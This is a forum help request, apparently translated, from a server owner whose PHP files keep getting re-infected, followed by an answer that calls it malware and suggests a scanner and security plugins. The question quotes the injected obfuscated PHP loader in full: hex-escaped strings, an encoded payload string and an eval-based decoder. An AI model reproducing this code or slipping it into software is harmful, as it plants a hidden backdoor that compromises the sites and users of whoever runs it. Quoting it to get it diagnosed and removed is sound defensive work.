我不是PHP程序员。以下代码将添加到我服务器上的所有PHP文件中（基于cPanel）。我有WordPress，Moodle和一些PHP网站。即使我通过从所有PHP文件中删除此代码来手动清理我的服务器，这个代码也会反复添加。
我的一位朋友说它被解码了。我无法找到此问题的根本原因。所有WordPress文件都以最新版本运行。一个Moodle站点正在v2.6中运行。
CODE：
<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $iuzusrhtnn = '7825-#jt0}Z;0]=]0#)2q%x5c%x7825l}S;2-u%x]67y]562]38y]572]48y]#>m%x5c%x7825:|ojepdoF.uofuopD#)sfebfI{*w%x5c%x3P6L1M5]D2P4]D6#<%x5c%x7825c%x7825!-#1]#-bubE{h%x5c%x7825)tpqsut>j%4tvctus)%x5c%x7825%x5c%x7824-%x5c%x7824b!>!~!dsfbuf%x5c%x7860gvodujpo)##-!#~<#%x5c%x782f%x5c%x7825%x5c%x7824-x5c%x7825!*72!%x5c%x7827!hmg%!*5!%x5c%x7827!hmg%x5c%x7825)!gj!|!*1?hmg%x5c%x7825)!gj!<**2-4-bubEx7827!hmg%x5c%x7825!)!gj!<2,*j%x5c%x787fw6*%x5c%x787f_*#ujojRk3%x5c%x7860{666~6<&w6<%x5c%x787fw6*CW&)75c%x7825%x5c%x782fh%2)gj!|!*nbsbq%x5c%x7825)323ldfidk!~!<**qp%x5c%x7825!-uy782f#00#W~!%x5c%x7825t2w)#x5c%x7825)!gj!<2,*j%x5c%x7825-#1]#-bubE{h%x5c%x7825)tpqsut>j822!pd%x5c%x7825)!gj}Z;h!opjudovg}{;#)tutjyf%x5c%x7860opjud825hIr%x5c%x785c1^-%x5c%x7825r%x5c%x785c2^-%x5c%x7825hOh%x5c%x860hA%x5c%x7827pd%x5c%x78256<C%x5c%x7824]275]y7:]268]y7f#<!%x5c%x7825tww!>!%x5L1#%x5c%x782f#M5]DgP5]D6#<%x5c%x7825fdy>#]D4]2784#-!OVMM*<%x22%51%x29%51%x29%x7825>U<#16,47R57,27R66,#%x5c%x78782f7rfs%x5c%x78256<#o]1%x5c%x782f20QUUI7jsv%x5c%x78257UFH#%x5c%c%x7825ff2!>!bssbz)%x5c%x7824]25%x5c%x7824-%x5W~!Ypp2)%x5c%x7825zB%x5c%x7825z>!tussfw)%x5c%x7825zWt)!gj!<*2bd%x5c%x7825-#1GO%x5c%x7822#)fepmqyfA>2b%x5c%x7825!<*qp%x5c%x7825V<#65,47R25,d7R17,67R37,#%x5c%x782fq%x5c%iN}#-!tussfw)%x5c%x7825c*W%x5c%x7825eN+#Qi%x5c%x785c1^W%x5c%x7825c!>3]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<%x5c%x7825tdz>#L4]275L3]248L75983:48984:71]K9]77]D4]82]K6]72]<jg!)%x5c%x7825z>>2*!%x5c%xfw6*%x5c%x787f_*#fubfsdXk5%x5V<*w%x5c%x7825)ppde>u%x5c%xc%x7878pmpusut)tpqssutRe%x5c%x7825)Rd%x5c%x7825)Rb%x5c%x7825))!gj!<*#cx5c%x782f%x5c%x7825kj:-!OVMM*<(<%x5c%x788e%x5c%x78b%x5c%x7825w:!>!%x5c%x78246767~6<Cw6<pd%x5c%x7825w6Z67825s:%x5c%x785c%x5c%x7825%x5c%x7824!>!fyqmpef)#%x5c%x7824*<!%x5c%x7825kj:!>!#]y3d]825)}.;%x5c%x7860UQPM#%x5c%x782f*#npd%x5c%x782f#)rrd%x5c%x782%x5c%x7878Bsfuvso!sboepn)%x5c%x7825epnbss-%x5c%x7825r%x5c%x78788pmpusut!-#j0#!%x5c%x782f!**#sfmcnbs+y111112)eobs%x5c%x7860un>273]y76]271]y7d]252]y74]256#<!%x5c%x7825ggg)(0)%x5c%x782f+*0f(-!#]y76]5c%x7825b:>1<!gps)%x5c%x7825j:>1<%x5c%x7825j!|!*)323zbek!~!<b%x5c%x7825%x5c%x787f!<X>b%x5c%x78x5c%x787fw6<*K)ftpmdXA6|7**197-2qj%x5c%x78257-K)udfooWSFT%x5c%x7860%x5c%x7825}X;!sp!*#opo#>>}R;msv}.;%x5c%x782f#%x5c%x782*#k#)usbut%x5c%x7860cpV%x5c%x787f%x5c%x78x785c2b%x5c%x7825!>!2p%x5c%x7825!*3>?*2b%x5c%x7825)gpf{j825z!>2<!gps)%x5c%x7825j>1<%x5x5c%x787fw6*CWtfs%x5c%x7825)7gj6<*id%x5c%x7825)ftpm2f#00#W~!Ydrr)%x5c%x7825r782fh%x5c%x7825:<**#57]38y]47]67y]37]88y]27]28y]#%x5c%x782fr%x7fw6*%x5c%x787f_*#fmjgk4%x5c%x71]265]y72]254]y76#<%x5c%x7825tmw!>!#]y84]275]y83]273]y76]277#<%xx65","%x65%166%x61%154%x28:#*%x5c%x7824-%x5c%x7#%x5c%x785cq%x5c%x7825)ufttj%x5c%x7822)gj6<^#Y#%x5c%xx5c%x7827&6<.fmjgA%x5c%x785c%x7824-%x5c%x7824]26%x5c%x7824-%x5c%x7824<%x5c%x7825j,,*x5c%x7825)n%x5c%x7825-#+I#)q%x5c%7f%x5c%x787f%x5c%x787f<u%x5c%x7825V%x5c%x7827{ftmSVD!-id%x5c%x7825)uqpuft%x5c%x7x7827rfs%x5c%x78256~6<%785cq%x5c%x7825%x5c%x7827Y%x5c%x78u%x5c%x78257>%x5c%x782f7&6|7**111127-K)ebfsX%x5c%x78{h%x5c%x7825)sutcvt)esp>hmg%x5c%x7825!<12>j%x5c%x!%x5c%x7825i%x5c%x785c2^<!Ce*[!%x5c%x7825cIjQeTQcOc%x5c%x78c%x7825:osvufs:~928>>%x5c%x7822:ftmbg39*56A:>:8:|:I&c_UOFHB%x5c%x7860SFTV%x5c%x7860QUUI&b%x5c%x78255c%x782f#p#%x5c%x782f%x5c%x7825zmbdf)%x5c%x7825%x5c%x7824-%x5c%x7824y4%x5c%x7824-%x5c%x7824]y8%x)sutcvt-#w#)ldbqov>*ofmy%x5c%x7825)utjm!|8297f:5297e:56-%x5c%x7878r.985:52985-t.98]K4]65]D8]86]y31]278]y265]y39]274]y85]273]y6g]273]y76]271]y7d]252]y74]256]y39]252]y83]25c%x7860opjudovg%x5c%x7822)!gj}1~!<2p%x5c%56<C>^#zsfvr#%x5c%x785cq%x5c%x78257**^#zsfvre%x5c%x78b%x5c%x7825ggg!>!#]y81]273]y76]258]y6g]25Z<#opo#>b%x5c%x7825!*##>>X)!gjZ<#opo#>b%x5c%x7825!**X)ufttj%x5c%x7822qj%x5c%x7825)7gj6<**2qj%x5c%x7825)hopm3qjA)qj3hopmA%x5c%x78273c%x7860{66~6<&w6<%x5c%x787fw6*%151%x6d%160%x6c%157%x64%145%x28%141%x72%162%x7825-*.%x5c%x7825)euhA)3of>2bd%x5c%x782C#-#O#-#N#*%x5c%x7824%gj6<.[A%x5c%x7827&6<%x5c%x787fw6*%x5c%x787f_*#[k2%x5c%x7860{6:!}7;!}c%x7825bss%x5c%x785csboe))1%x5c%x782f35.)1%x5c%x78256<.msv%x5c%x7860ftsbqA7>q%x5c%x78256<%x5c%x787472]37y]672]48y]#>s%x5c%x7825<#462]47y]252]18y]#>q%x5c%x7825<#7625c%x7825j>1<%x5c%x7825j=tj{fpg)%x5c%x7825%x5c%x7824-%x5c%x7824*<!5c%x7825t::!>!%x5c%x7824Ypp3)%x5c%x7825cB%x5c%x7825x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.2%x5c%x7bE{h%x5c%x7825)j{hnpd!opjudovg!|!**#j{hnpd#)tutjyf%xrfs%x5c%x78257-K)fujs%x5c%x7878X6<#o]o]Y%x5c%x78257;utpI#7>%x5c%x4gvodujpo!%x5c%x7824-%x5c%x7824y7%x5c%x7824-%x5c%x7824*<!%x5cx75%156%x61"]=1; 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$rjabvawxcw=substr($iuzusrhtnn,(39494-29388),(45-38)); if (!function_exists('ocjbuantmr')) { function ocjbuantmr($vhxrvcopkg, $niqvfjrqww) { $bcxhpyjdpu = NULL; for($rbinqwolsu=0;$rbinqwolsu<(sizeof($vhxrvcopkg)/2);$rbinqwolsu++) { $bcxhpyjdpu .= substr($niqvfjrqww, $vhxrvcopkg[($rbinqwolsu*2)],$vhxrvcopkg[($rbinqwolsu*2)+1]); } return $bcxhpyjdpu; };} $klzicgnjbm="\x20\57\x2a\40\x77\165\x6c\145\x64\143\x64\147\x72\150\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\66\x31\55\x31\62\x34\51\x29\54\x20\143\x68\162\x28\50\x34\66\x30\55\x33\66\x38\51\x29\54\x20\157\x63\152\x62\165\x61\156\x74\155\x72\50\x24\147\x68\141\x79\142\x78\143\x63\154\x64\54\x24\151\x75\172\x75\163\x72\150\x74\156\x6e\51\x29\51\x3b\40\x2f\52\x20\152\x64\156\x6b\170\x6f\166\x75\171\x6f\40\x2a\57\x20"; $lpvmnvqtdw=substr($iuzusrhtnn,(30503-20390),(53-41)); $lpvmnvqtdw($rjabvawxcw, $klzicgnjbm, NULL); $lpvmnvqtdw=$klzicgnjbm; $lpvmnvqtdw=(595-474); $iuzusrhtnn=$lpvmnvqtdw-1; ?>
答案 0 :(得分：0)
是的，您的网站感染了恶意软件。您可以使用https://sucuri.net/scanner扫描您的网站，您需要从所有wordpress文件和数据库中删除所有受感染的代码。
此外，我建议您在帐户中安装All In One WordPress安全和Sucuri安全插件，以防止此类型感染